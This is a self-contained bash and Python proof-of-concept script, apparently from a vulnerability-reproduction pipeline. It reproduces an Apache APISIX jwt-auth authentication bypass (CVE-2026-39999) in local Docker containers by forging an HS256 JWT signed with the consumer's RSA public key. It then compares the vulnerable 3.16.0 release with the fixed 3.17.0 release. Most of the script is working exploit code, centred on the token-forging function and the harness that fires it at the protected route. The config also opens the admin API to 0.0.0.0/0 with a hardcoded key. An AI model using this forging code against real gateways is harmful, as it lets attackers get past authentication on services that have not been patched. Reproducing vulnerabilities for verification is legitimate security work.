#!/bin/bash
###############################################################################
# CVE-2026-39999 — Apache APISIX jwt-auth authentication bypass via
#                  JWT algorithm confusion (RS256 -> HS256).
#
# This script deploys the REAL Apache APISIX gateway (vulnerable 3.16.0 and
# fixed 3.17.0) inside Docker containers, configures an RS256 jwt-auth
# consumer + protected route via the Admin API, then forges a JWT whose
# header alg is HS256 and whose HMAC-SHA256 signature uses the consumer's
# RSA *public key* as the secret.
#
#   * Vulnerable 3.16.0: the forged HS256 token is ACCEPTED (HTTP 200) —
#     authentication bypass confirmed.
#   * Fixed 3.17.0: the same forged token is REJECTED (HTTP 401,
#     "algorithm mismatch, expected RS256") — the fix enforces that the JWT
#     header alg matches the consumer's configured algorithm.
#
# No JWT           -> 401 on both versions (route is genuinely protected).
#
# Exit 0 = vulnerability reproduced (vulnerable accepts, fixed rejects).
###############################################################################
set -euo pipefail

# ---- Portable paths ---------------------------------------------------------
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART"
cd "$ROOT"

# ---- Configuration ----------------------------------------------------------
VULN_IMAGE="apache/apisix:3.16.0-debian"
FIXED_IMAGE="apache/apisix:3.17.0-debian"
ETCD_IMAGE="bitnamilegacy/etcd:3.6"
UPSTREAM_IMAGE="python:3-slim"
ADMIN_KEY="edd1c9f034335f136f87ad84b625c8f1"
NETWORK="apisix-cve2026-repro"
RUN_TAG="run-$(date +%s)"
VULN_LOG="$LOGS/apisix_vulnerable.log"
FIXED_LOG="$LOGS/apisix_fixed.log"
HARNESS_OUT_VULN="$LOGS/harness_vulnerable.log"
HARNESS_OUT_FIXED="$LOGS/harness_fixed.log"

# ---- Helpers ----------------------------------------------------------------
log() { echo "[repro] $*"; }

cleanup() {
    log "cleaning up containers and network"
    docker rm -f apisix-vuln apisix-fixed etcd-repro upstream-repro client-repro 2>/dev/null || true
    docker network rm "$NETWORK" 2>/dev/null || true
}
trap cleanup EXIT

ensure_image() {
    if ! docker image inspect "$1" >/dev/null 2>&1; then
        log "pulling image $1"
        docker pull "$1" >/dev/null 2>&1
    fi
}

wait_admin_ready() {
    local cname="$1" max=40 i=0
    while [ $i -lt $max ]; do
        if docker exec "$cname" sh -c 'true' 2>/dev/null; then :; fi
        local code
        code=$(docker exec client-repro python3 -c "
import urllib.request,sys
try:
    r=urllib.request.urlopen(urllib.request.Request('http://apisix-${2}:9180/apisix/admin/routes',headers={'X-API-KEY':'${ADMIN_KEY}'}),timeout=3)
    print(r.status)
except Exception as e:
    print('0')
" 2>/dev/null || echo 0)
        if [ "$code" = "200" ]; then return 0; fi
        i=$((i+1)); sleep 1
    done
    return 1
}

# ---- 1. Generate RSA keypair ------------------------------------------------
log "generating RSA-2048 keypair"
openssl genrsa -out "$ART/rsa_private.pem" 2048 2>/dev/null
openssl rsa -in "$ART/rsa_private.pem" -pubout -out "$ART/rsa_public.pem" 2>/dev/null
log "public key: $(wc -c < "$ART/rsa_public.pem") bytes"

# ---- 2. Write APISIX config.yaml -------------------------------------------
cat > "$ART/apisix_config.yaml" <<'YAML'
apisix:
  node_listen: 9080
  enable_ipv6: false

deployment:
  admin:
    allow_admin:
      - 0.0.0.0/0
    admin_key:
      - name: "admin"
        key: edd1c9f034335f136f87ad84b625c8f1
        role: admin
  etcd:
    host:
      - "http://etcd:2379"
    prefix: "/apisix"
    timeout: 30
YAML

# ---- 3. Write the Python test harness (runs inside client container) -------
cat > "$ART/harness.py" <<'PYEOF'
#!/usr/bin/env python3
"""CVE-2026-39999 harness: configure RS256 jwt-auth consumer+route, forge
HS256 JWT signed with the public key as HMAC secret, test the protected route.
arg1 = "vulnerable" (expect 200 bypass) or "fixed" (expect 401 reject)."""
import urllib.request, urllib.error, json, hmac, hashlib, base64, sys, os

ROLE = sys.argv[1]                      # "vulnerable" | "fixed"
APISIX_HOST = os.environ.get("APISIX_HOST", "apisix")
ADMIN = f"http://{APISIX_HOST}:9180/apisix/admin"
GATEWAY = f"http://{APISIX_HOST}:9080"
ADMIN_KEY = "edd1c9f034335f136f87ad84b625c8f1"
PUBKEY = "/tmp/rsa_public.pem"
RESULTS = "/tmp/results.json"

def api(method, path, body=None):
    data = json.dumps(body).encode() if body is not None else None
    req = urllib.request.Request(ADMIN + path, data=data, method=method,
                                 headers={"X-API-KEY": ADMIN_KEY,
                                          "Content-Type": "application/json"})
    try:
        r = urllib.request.urlopen(req, timeout=10)
        return r.status, r.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()

def gw(path, token=None):
    headers = {}
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(GATEWAY + path, headers=headers)
    try:
        r = urllib.request.urlopen(req, timeout=10)
        return r.status, r.read().decode()[:300]
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()[:300]

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

def forge_hs256(pubkey_pem, payload):
    header = {"typ": "JWT", "alg": "HS256"}
    h = b64url(json.dumps(header, separators=(",", ":")).encode())
    p = b64url(json.dumps(payload, separators=(",", ":")).encode())
    si = f"{h}.{p}"
    sig = hmac.new(pubkey_pem.encode(), si.encode(), hashlib.sha256).digest()
    return f"{si}.{b64url(sig)}"

with open(PUBKEY) as f:
    pubkey_pem = f.read()
print(f"[*] role={ROLE}  public_key={len(pubkey_pem)} bytes")

# Create consumer with RS256 jwt-auth (public_key is the RSA public key)
consumer = {"username": "jack",
            "plugins": {"jwt-auth": {"key": "jack-key",
                                     "algorithm": "RS256",
                                     "public_key": pubkey_pem}}}
c, r = api("PUT", "/consumers/jack", consumer)
print(f"[*] create consumer RS256: {c}")
assert c in (200, 201), f"consumer failed: {c} {r}"

# Create protected route
route = {"uri": "/",
         "upstream": {"type": "roundrobin", "nodes": {"upstream:80": 1}},
         "plugins": {"jwt-auth": {}}}
c, r = api("PUT", "/routes/r1", route)
print(f"[*] create route jwt-auth: {c}")
assert c in (200, 201), f"route failed: {c} {r}"

# Test 1: no JWT -> must be 401 (route protected)
no_jwt_code, _ = gw("/")
print(f"[*] no-jwt: {no_jwt_code} (expect 401)")
assert no_jwt_code == 401, f"route not protected: got {no_jwt_code}"

# Forge HS256 JWT signed with public key as HMAC secret
forged = forge_hs256(pubkey_pem, {"key": "jack-key"})
print(f"[*] forged HS256 JWT: {forged[:70]}...")

# Test 2: forged JWT
forged_code, forged_body = gw("/", token=forged)
print(f"[*] forged-jwt: {forged_code}  body={forged_body[:120]}")

# Write results
results = {"role": ROLE, "no_jwt_code": no_jwt_code,
           "forged_jwt": forged, "forged_jwt_code": forged_code,
           "forged_jwt_body": forged_body}
with open(RESULTS, "w") as f:
    json.dump(results, f, indent=2)

if ROLE == "vulnerable":
    if forged_code == 200:
        print("[+] VULNERABLE: forged HS256 JWT accepted -> authentication BYPASS")
        sys.exit(0)
    print(f"[-] expected 200 bypass on vulnerable, got {forged_code}")
    sys.exit(1)
else:  # fixed
    if forged_code == 401:
        print("[+] FIXED: forged HS256 JWT rejected (401) -> algorithm mismatch enforced")
        sys.exit(0)
    print(f"[-] expected 401 reject on fixed, got {forged_code}")
    sys.exit(1)
PYEOF

# ---- 4. Pull images ---------------------------------------------------------
log "ensuring docker images are available"
ensure_image "$VULN_IMAGE"
ensure_image "$FIXED_IMAGE"
ensure_image "$ETCD_IMAGE"
ensure_image "$UPSTREAM_IMAGE"

# ---- 5. Create network + start etcd + upstream + client --------------------
cleanup
log "creating docker network $NETWORK"
docker network create "$NETWORK" >/dev/null 2>&1

log "starting etcd"
docker run -d --name etcd-repro --network "$NETWORK" \
    -e ETCD_DATA_DIR=/etcd_data -e ETCD_ENABLE_V2=true \
    -e ALLOW_NONE_AUTHENTICATION=yes \
    -e ETCD_ADVERTISE_CLIENT_URLS=http://etcd:2379 \
    -e ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379 \
    --network-alias etcd \
    "$ETCD_IMAGE" >/dev/null
sleep 4

log "starting upstream (python http.server)"
docker run -d --name upstream-repro --network "$NETWORK" \
    --network-alias upstream -w /tmp \
    "$UPSTREAM_IMAGE" python3 -m http.server 80 >/dev/null

log "starting client helper"
docker run -d --name client-repro --network "$NETWORK" -w /tmp \
    "$UPSTREAM_IMAGE" sleep 3600 >/dev/null
docker cp "$ART/rsa_public.pem" client-repro:/tmp/rsa_public.pem
docker cp "$ART/harness.py" client-repro:/tmp/harness.py
sleep 1

# ---- 6. VULNERABLE version (3.16.0) ----------------------------------------
log "=== VULNERABLE: starting APISIX 3.16.0 ==="
docker create --name apisix-vuln --network "$NETWORK" \
    --network-alias apisix "$VULN_IMAGE" >/dev/null
docker cp "$ART/apisix_config.yaml" apisix-vuln:/usr/local/apisix/conf/config.yaml >/dev/null
docker start apisix-vuln >/dev/null

# The client must reach apisix by the alias "apisix"; wait for admin API
log "waiting for vulnerable APISIX admin API"
i=0
while [ $i -lt 45 ]; do
    code=$(docker exec client-repro python3 -c "
import urllib.request
try:
    r=urllib.request.urlopen(urllib.request.Request('http://apisix:9180/apisix/admin/routes',headers={'X-API-KEY':'${ADMIN_KEY}'}),timeout=3)
    print(r.status)
except: print('0')
" 2>/dev/null || echo 0)
    [ "$code" = "200" ] && break
    i=$((i+1)); sleep 1
done
if [ "$code" != "200" ]; then
    log "ERROR: vulnerable APISIX admin API never became ready"
    docker logs apisix-vuln > "$VULN_LOG" 2>&1 || true
    exit 1
fi
log "vulnerable APISIX admin API ready"

log "running exploit harness on vulnerable 3.16.0"
docker exec -e APISIX_HOST=apisix client-repro python3 /tmp/harness.py vulnerable | tee "$HARNESS_OUT_VULN"
VULN_EXIT=${PIPESTATUS[0]}
docker logs apisix-vuln > "$VULN_LOG" 2>&1 || true
# Capture the forged token and results from the client container
docker cp client-repro:/tmp/results.json "$ART/results_vulnerable.json" >/dev/null 2>&1 || true

log "vulnerable harness exit=$VULN_EXIT"
if [ "$VULN_EXIT" -ne 0 ]; then
    log "FAIL: vulnerable version did not show bypass"
    exit 1
fi

# ---- 7. FIXED version (3.17.0) ---------------------------------------------
log "=== FIXED: swapping to APISIX 3.17.0 ==="
docker rm -f apisix-vuln >/dev/null 2>&1
# Wipe etcd so the fixed test starts clean (avoid stale consumer state)
docker rm -f etcd-repro >/dev/null 2>&1
docker run -d --name etcd-repro --network "$NETWORK" \
    -e ETCD_DATA_DIR=/etcd_data -e ETCD_ENABLE_V2=true \
    -e ALLOW_NONE_AUTHENTICATION=yes \
    -e ETCD_ADVERTISE_CLIENT_URLS=http://etcd:2379 \
    -e ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379 \
    --network-alias etcd \
    "$ETCD_IMAGE" >/dev/null
sleep 4

docker create --name apisix-fixed --network "$NETWORK" \
    --network-alias apisix "$FIXED_IMAGE" >/dev/null
docker cp "$ART/apisix_config.yaml" apisix-fixed:/usr/local/apisix/conf/config.yaml >/dev/null
docker start apisix-fixed >/dev/null

log "waiting for fixed APISIX admin API"
i=0
while [ $i -lt 45 ]; do
    code=$(docker exec client-repro python3 -c "
import urllib.request
try:
    r=urllib.request.urlopen(urllib.request.Request('http://apisix:9180/apisix/admin/routes',headers={'X-API-KEY':'${ADMIN_KEY}'}),timeout=3)
    print(r.status)
except: print('0')
" 2>/dev/null || echo 0)
    [ "$code" = "200" ] && break
    i=$((i+1)); sleep 1
done
if [ "$code" != "200" ]; then
    log "ERROR: fixed APISIX admin API never became ready"
    docker logs apisix-fixed > "$FIXED_LOG" 2>&1 || true
    exit 1
fi
log "fixed APISIX admin API ready"

log "running exploit harness on fixed 3.17.0"
docker exec -e APISIX_HOST=apisix client-repro python3 /tmp/harness.py fixed | tee "$HARNESS_OUT_FIXED"
FIXED_EXIT=${PIPESTATUS[0]}
docker logs apisix-fixed > "$FIXED_LOG" 2>&1 || true
docker cp client-repro:/tmp/results.json "$ART/results_fixed.json" >/dev/null 2>&1 || true

log "fixed harness exit=$FIXED_EXIT"
if [ "$FIXED_EXIT" -ne 0 ]; then
    log "FAIL: fixed version did not reject the forged token"
    exit 1
fi

# Extract the forged JWT for the manifest
FORGED_JWT=$(python3 -c "import json; print(json.load(open('$ART/results_vulnerable.json'))['forged_jwt'])" 2>/dev/null || echo "")
FORGED_VULN_CODE=$(python3 -c "import json; print(json.load(open('$ART/results_vulnerable.json'))['forged_jwt_code'])" 2>/dev/null || echo "")
FORGED_FIXED_CODE=$(python3 -c "import json; print(json.load(open('$ART/results_fixed.json'))['forged_jwt_code'])" 2>/dev/null || echo "")

log "RESULT: vulnerable forged_jwt -> $FORGED_VULN_CODE (bypass), fixed forged_jwt -> $FORGED_FIXED_CODE (rejected)"

# ---- 8. Write runtime manifest ---------------------------------------------
python3 - "$REPRO_DIR/runtime_manifest.json" "$FORGED_JWT" "$FORGED_VULN_CODE" "$FORGED_FIXED_CODE" <<'PYMANIFEST'
import json, sys
path, forged_jwt, vuln_code, fixed_code = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "HTTP GET / on APISIX gateway (port 9080) with Authorization: Bearer <forged JWT>; route protected by jwt-auth plugin with RS256 consumer",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["apache/apisix:3.16.0-debian (vulnerable)", "apache/apisix:3.17.0-debian (fixed)", "bitnamilegacy/etcd:3.6", "python:3-slim upstream + client"],
    "proof_artifacts": [
        "logs/harness_vulnerable.log",
        "logs/harness_fixed.log",
        "logs/apisix_vulnerable.log",
        "logs/apisix_fixed.log",
        "artifacts/results_vulnerable.json",
        "artifacts/results_fixed.json",
        "artifacts/rsa_public.pem",
        "artifacts/apisix_config.yaml"
    ],
    "notes": ("Forged HS256 JWT (signed with consumer RSA public key as HMAC secret) accepted on "
              "vulnerable 3.16.0 (HTTP %s = auth bypass) and rejected on fixed 3.17.0 (HTTP %s = "
              "'algorithm mismatch, expected RS256'). Forged token: %s" % (vuln_code, fixed_code, forged_jwt[:80]))
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
print("[repro] runtime manifest written to", path)
PYMANIFEST

log "CVE-2026-39999 reproduction complete: bypass on vulnerable, rejection on fixed"
log "=== SUCCESS ==="
exit 0